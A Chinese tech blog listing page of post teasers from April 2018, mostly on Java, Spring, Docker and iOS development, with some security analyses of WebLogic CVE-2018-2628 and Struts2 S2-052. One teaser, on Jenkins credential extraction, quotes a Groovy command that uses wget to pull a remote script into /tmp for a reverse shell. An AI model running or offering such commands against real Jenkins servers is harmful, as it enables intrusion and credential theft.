标签:目录

Java

Weblogic 反序列化远程代码执行漏洞CVE-2018-2628 技术分析与防护方案

18

尖兵 发布于 2018-04-26

阅读: 1 当地时间4月17日,北京时间4月18日凌晨,Oracle官方发布了4月份的关键补丁更新CPU(Critical Patch Update),其中包含一个高危的Weblogic反序列化漏洞(CVE-2018-2628),通过该漏洞,攻击者可以在未授权的情况下远程执行任意...

阅读(4)评论(0)赞 (0)

Java

高效运维之Docker持续部署

18

songhua.gao 发布于 2018-04-26

编辑推荐: 本文来自于aliyun.com,本文描述关于Docker 持续部署的技术思路,效果展示,配置Git和Jenkins联动,配置Jenkins自动更新代码等。 前言 关于Docker的文章铺天盖地,但精品文章往往翻译居多。都说Docker天生适合持续集成/持续部署,但同样...

阅读(7)评论(0)赞 (0)

Java

Jenkins凭证提取

1

xirruiqiang 发布于 2018-04-26

入口 碰到Jenkins未授权并且拥有Overall/RunScripts权限时可以在Script页面执行命令反弹Shell: println "wget http://www.rinige.com/back.py -P /tmp/".execute().te...

阅读(15)评论(0)赞 (0)

Java

Struts2学习之配置文件

puefu.he 发布于 2018-04-26

前言 定义了Action类,接下来要干什么?要去struts.xml中配置这个Action类;Action类处理完以后,返回逻辑视图名称,如何映射到物理视图?又要去struts.xml配置中寻找映射。Struts2运行的每一步都需要围绕这个struts.xml,而这也是Strut...

阅读(13)评论(0)赞 (0)

Java

IDEA多模块父子依赖maven项目war包部署

4

puefu.he 发布于 2018-04-25

IDEA 全称为 IntrlliJ IDEA ,它是一款非常智能,方便,高效的 Java 开发工具, IDEA 是 JetBrains 公司的产品,这家公司总部位于捷克共和国的首都布拉格,开发人员以严谨著称的东欧程序员为主。其实是无论是 Java 开发工具还是其他语言的开发工具,...

阅读(18)评论(0)赞 (0)

IOS技术

追踪Objective-C方法中的Block参数对象

wenming.gapo 发布于 2018-04-25

文章目录 1. 使用方法 2. 实现原理 2.1. 过滤方法的Block参数 2.2. 执行Callback 2.3. 对NSInvocation的一点探索 3. 总结 很多方法最后一个参数是类似于completionBlock这种回调,然而有些API实现一些异常逻辑时会忘记调用...

阅读(19)评论(0)赞 (0)

Java

JVM的类型和模式(client+server)

6

hanze 发布于 2018-04-25

 关于JVM的类型和模式 JVM client模式和Server模式的区别 JVM两种类型的区别: 曾几何时,我也敲打过无数次这样的命令: 然而之前的我都只关心过版本号,也就是第一行的内容。今天,我们就来看看第3行输出的内容:JVM的类型和工作模式。 其实说Server...

阅读(18)评论(0)赞 (0)

IOS技术

浅谈iOS进阶路线

likai 发布于 2018-04-25

前言 这里筑梦师,是一名正在努力学习的iOS开发工程师,目前致力于全栈方向的学习,希望可以和大家一起交流技术,共同进步,用简书记录下自己的学习历程. 个人学习方法分享iOS开发学习路线 本文阅读建议1.一定要辩证的看待本文.2.本文仅代表个人片面观点,如有不同观点,还往及时指出....

阅读(19)评论(0)赞 (0)

Java

自己动手实现一个极简 Web 框架

6

puefu.he 发布于 2018-04-25

上节课我们自己动手制作了一个RPC框架,本节课我们挑战一个稍有难度的一点的任务,手动制作一个Web框架。 我不太愿意叫什么MVC框架,因为我在制作这个小项目的时候可没想过它要怎么怎么的MVC,一切皆以易于使用为目标。 首先我们看看这个Web框架使用起来如何简单 Hello Wor...

阅读(22)评论(0)赞 (0)

Java

YMP v2.0.5 发布,轻量级 Java 应用开发框架

darida 发布于 2018-04-25

YMP v2.0.5 发布了。本次版本更新主要是新增若干新特性、增加对Beetl模板引擎的支持,同时针对框架问题修复、移除编译警告及性能优化,并对依赖包升级更新。 YMP是一个非常简单、易用的轻量级Java应用开发框架,涵盖AOP、IoC、WebMVC、ORM、Validatio...

阅读(11)评论(0)赞 (0)

Spring

Spring Cloud Config 配置中心

songhua.gao 发布于 2018-04-25

Spring Cloud Config 用于为分布式系统中的基础设施和微服务应用提供集中化的外部配置支持,分为服务端和客户端。 服务端为分布式配置中心,是一个独立的微服务应用;客户端为分布式系统中的基础设置或微服务应用,通过指定配置中心来管理相关的配置。 Spring Cloud...

阅读(15)评论(0)赞 (0)

Java

struts2 s2-052漏洞分析

7

xubiao.zhuang 发布于 2018-04-25

很久以前的洞了,一直没时间分析,拖延症晚期o(╯□╰)o 前言 2017年9月5日,Apache Struts 2官方发布一个严重级别的安全漏洞 公告 ,该漏洞由国外安全研究组织lgtm.com的安全研究人员发现,漏洞编号为CVE-2017-9805(S2-052),在一定条件下...

阅读(18)评论(0)赞 (0)

Spring

xlauch 1.0 基于springboot + mybatis + beetls 快速开发脚手架

14

xiaoli.wang 发布于 2018-04-24

xlauch xlauch 是基于springboot + mybatis + beetls 快速开发脚手架, 包含了用户管理,组织机构管理,角色管理,功能点管理,菜单管理,权限分配,数据权限分配,代码生成,二次开发等功能。 系统基于Spring Boot 1.5技术,前端采用了...

阅读(13)评论(0)赞 (0)

Java

Servlet和JSP总结

2

xirruiqiang 发布于 2018-04-24

BS: Browser Server 浏览器和服务器 特点: 跨平台,功能升级比较方便,加载数据慢,用户体验稍差 CS: Client Server 客户端和服务器 特点: 功能升级 需要下载新版本客户端,用户交互界面炫酷,体验度高,需要开发多个平台的版本,开发成本高 总结: 两...

阅读(23)评论(0)赞 (0)

Java

Springmvc入门

1

dulong 发布于 2018-04-24

解决 V(View) 和 C(Controller) 的交互问题,即解决了Controller如果接收了用户的请求,并将结果响应给用户的问题 springmvc约定了一套处理用户请求的流程 Springmvc的核心组件 DispatcherServlet :前端控制器,请求入口 ...

阅读(8)评论(0)赞 (0)

创业知识

YC 合伙人:如何决定创业该干什么?

1

yeseng 发布于 2018-04-24

大家经常告诉我说他们想创办一家初创企业,但他们不知道该做什么。他们会说:“我不是一个很有想法的人”。不要这么说。你告诉你自己是谁你就是谁。借用乔布斯的话:“这个世界的所有东西都是由不比你聪明的人创造的。”你想做什么就做什么,前提是你...

阅读(12)评论(0)赞 (0)

Java

基于Netty自己动手实现Web框架

4

邓龙华 发布于 2018-04-24

上节课我们自己动手制作了一个RPC框架,本节课我们挑战一个稍有难度的一点的任务,手动制作一个Web框架。 我不太愿意叫什么MVC框架,因为我在制作这个小项目的时候可没想过它要怎么怎么的MVC,一切皆以易于使用为目标。 首先我们看看这个Web框架使用起来如何简单 Hello Wor...

阅读(9)评论(0)赞 (0)

IOS技术

iOS进阶补完计划–通读runtime

4

zhuangli 发布于 2018-04-24

说到runtime。所有iOS的开发者无不知晓。运行时、swizzle、黑魔法等等。不过用的时候是copy代码、还是真正理解了runtime以及OC中类、对象、方法的本质结构。起码就我而言、很长一段时间(以年来计算)。都是前者。 所以这篇文章不属于教学贴。希望借此能在runtim...

阅读(13)评论(0)赞 (0)